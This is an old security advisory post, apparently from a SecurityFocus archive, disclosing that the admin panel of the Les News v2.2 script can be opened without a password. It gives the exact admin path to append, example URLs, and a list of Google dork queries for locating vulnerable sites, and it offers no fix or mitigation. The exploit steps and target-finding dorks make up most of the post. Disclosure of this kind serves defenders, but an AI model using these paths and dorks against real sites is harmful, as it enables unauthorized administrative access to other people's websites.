Les News v2.2 [Admin news without password] Feb 04 2007 12:33AM
sn0oPy team gmail com
* Les News v2.2 [Admin news without password]

* By : sn0oPy

* Risk : verry high

* site : http://stombi.free.fr/

* exploit :

add to the /lesnews/ rep adminews/index_fr.php3

exemple :

http://www.test.ma/lesnews/lesnews_fr.php3
http://www.test.ma/lesnews/adminews/index_fr.php3

Dork :

inurl:"/lesnews/lesnews_fr.php3"
inurl:"/lesnews/lesnews_en.php3"
inurl:"/lesnews/lesnews_de.php3"
inurl:"/lesnews/lesnews_it.php3"

* contact : sn0oPy (at) avenir-geopolitique (dot) net [email concealed]

* greetz : [subzero], http://forums.avenir-geopolitique.net.

reference : http://forums.avenir-geopolitique.net/viewtopic.php?t=2622

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus